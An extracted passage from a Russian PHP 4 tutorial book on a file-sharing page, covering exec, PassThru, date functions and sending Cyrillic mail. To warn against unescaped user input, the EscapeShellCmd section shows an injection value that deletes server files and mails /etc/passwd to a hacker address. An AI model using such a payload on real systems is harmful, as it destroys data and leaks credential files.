Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Самоучитель PHP 4 - Котеров Д. В

..pdf
Скачиваний:
93
Добавлен:
24.05.2014
Размер:
4.38 Mб
Скачать

278

Часть IV. Стандартные функции PHP

Как уже упоминалось, выходной поток данных программы направляется в браузер. Если вы хотите этого избежать, воспользуйтесь функциями popen() или exec(). Если же вы, наоборот, желаете, чтобы выходные данные запущенной программы попали прямиком в браузер и никак при этом не исказились (например, вы вызываете программу, выводящую в стандартный выходной поток какой-нибудь GIF-рисунок), в этом случае в самый раз будет функция PassThru().

string exec(string $command [,list& $array] [,int& $return_var])

Функция exec(), как и system(), запускает указанную программу или команду, однако, в отличие от последней, она ничего не выводит в браузер. Вместо этого функция возвращает последнюю строку из выходного потока запущенной программы и, если задан параметр $array (который обязательно должен быть переменной), то он заполняется списком строк в выходном потоке — по одной строке на элемент.

Если массив уже содержал какие-то данные перед вызовом exec(), новые строки просто добавляются в его конец, а не заменяют старое содержимое массива. Учитывайте это в своих программах, иначе нетрудно получить очень нетривиальную ошибку.

Как и в функции system(), при задании параметра-переменной $return_var код возврата запущенного процесса будет помещен в эту переменную. Так что функция exec() тоже дожидается окончания работы нового процесса и только потом возвращает управление в PHP-программу.

string EscapeShellCmd(string $command)

Помните, мы говорили о том, что нельзя допускать возможности передачи данных из браузера пользователя (например, из формы) в функции system() и exec()? Если это все же нужно сделать, то данные должны быть соответствующим способом обработаны: например, можно защитить все специальные символы обратными слэшами, и т. д. Это и делает функция EscapeShellCmd(). Чаще всего ее применяют примерно в таком контексте:

system("cd ".EscapeShellCmd($to_directory));

Здесь переменная $to_directory пришла от пользователя — например, из формы или Cookies. Давайте посмотрим, как злоумышленник может стереть все данные на вашем сервере, если вы по каким-то причинам забудете про EscapeShellCmd(), написав следующий код:

system("cd $to_directory"); // Никогда так не делайте!

Задав такое значение для $to_directory:

~; rm -R *; sendmail hacker@domain.com </etc/passwd

Глава 18. Запуск внешних программ

279

разрушитель добьется своего разрушительного результата, а заодно и пошлет себе по почте файл /etc/passwd, который в Unix-системах содержит данные об именах и паролях пользователей.

string PassThru(string $command [,int& $return_var])

Эта функция запускает указанный в ее первом параметре процесс и весь его вывод направляет прямо в браузер пользователя, один-в-один. Она может пригодиться, если вы воспользовались какой-нибудь утилитой для генерации изображений "на лету", оформленной в виде отдельной программы (в PHP есть гораздо более мощные встроенные функции для работы с изображениями, которые работают быстрее, поэтому я не рекомендую вам применять PassThru() даже в подобных целях). Давайте рассмотрим пример использования этой функции:

Header("Content-type: image/jpeg");

PassThru("cat my_image.jpg");

Функция Header(), которую мы рассмотрим в другой главе, сообщает браузеру пользователя, что данные поступят в графическом формате JPEG, а последующий вызов утилиты cat с параметром — именем файла с рисунком — заставляет систему "распечатать" файл в браузер пользователя.

Глава 19

Работа с датами и временем

В PHP присутствует полный набор средств, предназначенных для работы с датами и временем в различных форматах. Дополнительные модули (входящие в дистрибутив PHP) позволяют также работать с календарными функциями и календарями различных народов мира. Мы рассмотрим только самые популярные из этих функций.

Представление времени в формате timestamp

int time()

Возвращает время в секундах, прошедшее с полуночи 1 января 1970 года по Гринвичу до настоящего момента. Этот формат данных принят в Unix как стандартный: в частности, время последнего изменения файлов указывается именно в таком формате (как вы, возможно, помните по описанию функции file_mtime()). Вообще говоря, почти все функции по работе со временем имеют дело именно с таким его представлением (которое называется timestamp). То есть представление "количество секунд с 1 января 1970 года весьма универсально и, что главное, — удобно.

На самом-то деле, timestamp не отражает реальное (астрономическое) число секунд с 1 января 1970 года, а немного отличается от него. Впрочем, это нис- колько не умаляет преимущества от его использования.

string microtime()

Возвращает строку в формате: "микросекунды секунды", где секунды — то, что возвращается функцией time(), а микросекунды — дробная часть секунд, служащая для более точного измерения промежутков времени. Эта функция работает только в системах, которые поддерживают системный вызов gettimeofday(), т. е. практически во всех.

Глава 19. Работа с датами и временем

281

С функцией microtime() связано одно недоразумение. Дело в том, что мил- лисекунды в различных ОС выглядят по-разному. Например, в Unix это дейст- вительно число микросекунд, а в Windows — непонятное значение, связанное неизвестно с чем. Возможно, оно все же несет какой-то смысл, но мне до него "докопаться", увы, не удалось.

int mktime([int $hour] [,int $minute] [,int $second] [,int $month] [,int $day] [,int $year])

До сих пор мы рассматривали функции, которые преобразуют формат timestamp в представление, удобное для человека. Существует всего одна функция, которая проводит обратное преобразование — mktime(). Как мы видим, все ее параметры необязательны, но пропускать их можно, конечно же, только справа налево. Если какието параметры не заданы, на их место подставляются значения, соответствующие текущей дате. Функция возвращает значение timestamp, соответствующее указанной дате.

Правильность даты, переданной в параметрах, не проверяется. В случае некорректной даты ничего особенного не происходит — функция "делает вид", что это ее не касается, и формирует соответствующий timestamp. Для иллюстрации рассмотрим три вызова (два из них — с ошибочной датой), которые тем не менее возвращают один и тот же результат:

echo date("M-d-Y", mktime(0,0,0,1,1,1998)); // правильная дата echo date("M-d-Y", mktime(0,0,0,12,32,1997)); // неправильная дата echo date("M-d-Y", mktime(0,0,0,13,1,1997)); // неправильная дата

Легко убедиться, что выводятся три одинаковых числа.

Работа с датами

string date(string $format [,int $timestamp])

Эта функция крайне полезна и весьма универсальна. Она возвращает строку, отформатированную в соответствии с параметром $format и сформированную на основе параметра $timestamp (если последний не задан — то на основе текущей даты). Строка формата может содержать обычный текст, перемежаемый одним или несколькими символами форматирования:

rU — количество секунд, прошедших с полуночи 1 января 1970 года;

rz — номер дня от начала года;

rY — год, 4 цифры;

ry — год, 2 цифры;

rF — название месяца, например, January;

282

Часть IV. Стандартные функции PHP

rm — номер месяца;

rM — название месяца, трехсимвольная аббревиатура, например, Jan;

rd — номер дня в месяце, всегда 2 цифры (первая может быть 0);

rj — номер дня в месяце без предваряющего нуля;

rw — день недели, 0 соответствует воскресенью, 1 — понедельнику, и т. д.;

rl — день недели, текстовое полное название, например, Friday;

rD — день недели, английское трехсимвольное сокращение, например, Fri;

ra am или pm;

rA AM или PM;

rh — часы, 12-часовой формат;

rH — часы, 24-часовой формат;

ri — минуты;

rs — секунды;

rS — английский числовой суффикс (nd, th и т. д.).

Те символы, которые не были распознаны как форматирующие, подставляются в результирующую строку "как есть". Впрочем, не советую этим злоупотреблять, поскольку довольно мало английских слов не содержат ни одной из перечисленных выше букв.

Как видите, набор символов форматирования весьма и весьма богат. Вот пример применения функции date():

echo date("l dS of F Y h:i:s A"); echo date("Сегодня d.m.Y");

echo date("Этот файл датирован d.m.Y",filectime("myfile"));

Остается еще отметить, что формат выдачи для таких символов, как F (название месяца), зависит от текущих настроек локали (см. функцию setlocale()) и вполне может быть названием месяца на родном языке пользователя.

int checkdate(int $month, int $day, int $year)

Эта функция проверяет, существует ли дата, переданная ей в параметрах: вначале ищется месяц, затем — день, и, наконец, — год. Конкретнее, checkdate() проверяет следующее:

rгод должен быть между 1900 и 32 767 включительно;

rмесяц обязан принадлежать диапазону от 1 до 12;

rчисло должно быть допустимым для указанного месяца и года (если год високосный).

Глава 19. Работа с датами и временем

283

Функция очень полезна, например, при автоматическом формировании HTMLкалендарика для указанного месяца и года. В самом деле, мы можем определить, какие числа в месяце "не существуют", и для них вместо номера проставить пустое место.

array getdate(int $timestamp)

Возвращает ассоциативный массив, содержащий данные об указанном времени. В массив будут помещены следующие ключи и значения:

rseconds — секунды;

rminutes — минуты;

rhours — часы;

rmday — число;

rwday — день недели, число;

rmon — номер месяца;

ryear — год;

ryday — номер дня с начала года;

rweekday — полное название дня недели, например, Friday;

rmonth — полное название месяца, например, January.

В общем-то, всю эту информацию можно получить и с помощью функции date(), но тут разработчики PHP предоставляют нам альтернативный способ.

Григорианский календарь

Григорианский календарь — это как раз тот самый календарь, который мы постоянно используем в своей жизни. В России он был введен Петром I в 1700 году.

Описываемые далее три функции представляют большой интерес, если вам понадобится автоматически формировать календари в сценариях. Все они имеют дело с так называемым Julian Day Count (JDC). Что это такое?

Каждой дате соответствует свой JDC. Ведь, фактически, JDC — это всего лишь число дней, прошедших с определенной даты (кажется, где-то с 4714-го года до нашей эры).

Зачем это нужно? Например, нам заданы две даты в формате "дд.мм.гггг". Нужно вычислить количество дней между этими датами. Поставленная задача как раз легко решается через перевод обеих дат в JDC и определение разности получившихся величин.

int GregorianToJD(int $month, int $day, int $year)

Преобразует дату в формат JDC. Допустимые значения года для григорианского календаря — от 4714 года до нашей эры до 9999 года нашей эры.

string JDToGregorian(int $julianday)

284

Часть IV. Стандартные функции PHP

Преобразует дату в формате JDC в строку, выглядящую как месяц/число/год. Наверняка затем вы захотите разбить эту строку на составляющие, чтобы работать с ними по отдельности. Для этого воспользуйтесь функцией explode():

$jd = GregorianToJD(10,11,1970); echo "$jd<br>\n";

$gregorian = JDToGregorian($jd); echo "$gregorian<br>\n"; $list=explode($gregorian,"/");

mixed JDDayOfWeek(int $julianday, int $mode)

Последняя функция этой серии — JDDayOfWeek() — тоже совершенно незаменима: она возвращает день недели, на который приходится указанная JDC-дата. Фактически, это единственное, чего нам не хватало бы для формирования календарика. Параметр $mode задает, в каком виде должен быть возвращен результат:

r0 — номер дня недели (0 — воскресенье, 1 — понедельник, и т. д.);

r1 — английское название дня недели;

r2 — сокращение английского названия дня недели.

В PHP существует еще множество функций для работы с другими календарями — в том числе с Республиканским, Юлианским и т. д. Объем книги не позволяет привести здесь их описания.

Глава 20

Посылка писем через PHP

Одно из самых мощных средств PHP — возможность автоматической посылки писем по электронной почте, минуя использование внешних программ и утилит. Функция отсылки встроена в PHP. С нее мы и начнем.

Функция отправки письма

bool mail(string $to, string $subject, string $msg [,string $headers])

Функция mail() посылает сообщение с телом $msg (это может быть "многострочная строка", т. е. переменная, содержащая несколько строк, разделенных символом перевода строки) по адресу $to. Можно задать сразу нескольких получателей, разделив их адреса пробелами в параметре $to. Пример:

mail("rasmus@lerdorf.on.ca ca.ok@oklab.ru, "My Subject",

"Line 1\nLine 2\nLine 3"

);

В случае, если указан четвертый параметр, переданная в нем строка вставляется между концом стандартных почтовых заголовков (таких как To, Content-type и т. д.) и началом текста письма. Обычно этот параметр используется для задания дополнительных заголовков письма. Пример:

mail("ssb@guardian.no dk@dizain.ru", "the subject",

"Line 1\nLine 2\nLine 3",

"From: webmaster@$SERVER_NAME\n". "Reply-To: webmaster@$SERVER_NAME\n". "X-Mailer: PHP/" . phpversion()

);

Необходимо добавить, что этот пример довольно-таки неказист. Гораздо лучше было бы включить указанные заголовки прямо в тело письма $msg (в начало тела), отделив их от самого письма пустой строкой (прямо как в стандарте HTTP). То же самое применимо и к параметру $subject: лучше задавать в нем всегда пустую строку и ука-

286

Часть IV. Стандартные функции PHP

зывать заголовок Subject в самом письме. Всегда старайтесь поступать таким образом. Далее будет ясно, зачем.

Проблема с кодировками

Думаю, не надо напоминать, что русских кодировок существует великое множество. Поэтому от того, насколько умело вы перекодируете письмо перед его отсылкой, зависит, прочтет ли его получатель или, махнув рукой, отправит в корзину, даже не попытавшись установить в своем почтовом клиенте нужную кодировку. Эта глава как раз и призвана раз и навсегда решить проблему кодировок. Если вы воспользуетесь советами, изложенными в ней, ваши письма всегда будут читаемыми.

Посылка в указанной кодировке

Сначала давайте договоримся об одном соглашении: функции mail() передавать только адрес получателя и текст письма. Ни заголовков, ни темы — и то и другое должно присутствовать в самом письме. Например:

$message=

"From: Лист рассылки To: Иванов Иван Иванович

Subject: Пробная рассылка

Content-type: text/plain; charset=windows-1825

Уважаемый товарищ! Это письмо послано почтовым роботом. Всего хорошего!"; Mail("ivanov@ivan.ivanovich.ru","",$message);

Обратите внимание на заголовок Content-type (в некоторых системах он обязательно должен стоять последним — проверьте это экспериментально). Он задает, что, во-первых, письмо доставляется как простой текст (text/plain), а во-вторых, что его кодировка — Windows. Теперь письмо всегда можно будет прочитать, даже если почтовая программа клиента по умолчанию настроена на китайскую кодировку.

И почему некоторые программы так не делают, а посылают письма без указа- ния их кодировки? Неужели им жалко лишнего десятка байтов для названия кодировки?

Обратите внимание на то, что тело письма отделяется от заголовков пустой строкой, с тем, чтобы почтовая программа могла понять, где кончаются заголовки и начинается тело.

Глава 20. Посылка писем через PHP

287

Динамическая смена кодировки

Приведенное в предыдущем примере письмо можно будет прочитать в 90% существующих почтовых программ. Для "удовлетворения" остальных желательно посылать письма не в Windows-кодировке, а в KOI-8R. Для перекодирования можно воспользоваться уже известной нам функцией convert_cyr_string(). И, конечно, нужно в Content-type заменить charset на koi8-r. Вот что у нас получится:

$message=

"From: Лист рассылки

To: Иванов Иван Иванович <ivanov@ivan.ivanovich.ru> Subject: Пробная рассылка

Content-type: text/plain; charset=koi8-r

Уважаемый товарищ! Это письмо послано почтовым роботом. Всего хорошего!"; $message=convert_cyr_string($message,"w","k"); Mail("ivanov@ivan.ivanovich.ru","",$message);

Теперь вы понимаете, почему я говорил о том, чтобы все заголовки и Subject находились внутри тела письма? Этим мы достигаем того, что одной командой convert_cyr_string() перекодируется сразу все письмо, включая поля From, To, Subject и др. Иначе пришлось бы применять эту функцию дополнительно для перекодировки параметров $subject и $headers...

Проблема с заголовками

Есть одна проблема, возникающая при подобном использовании заголовка Contenttype. Дело в том, что существуют почтовые программы, которые понимают заголовок Content-type, но не понимают русский текст в поле Subject, если это поле стоит до Content-type. В то же время, другие почтовые клиенты обязывают нас задавать Content-type последним заголовком в списке. Чтобы обойти этот заколдованный круг, проще всего разместить поле Content-type сразу в двух местах — перед первым и после последнего заголовка:

$message=

"Content-type: text/plain; charset=koi8-r From: Лист рассылки

To: Иванов Иван Иванович <ivanov@ivan.ivanovich.ru> Subject: Пробная рассылка

Content-type: text/plain; charset=koi8-r

Уважаемый товарищ! Это письмо послано почтовым роботом. Всего хорошего!"; $message=convert_cyr_string($message,"w","k"); Mail("ivanov@ivan.ivanovich.ru","",$message);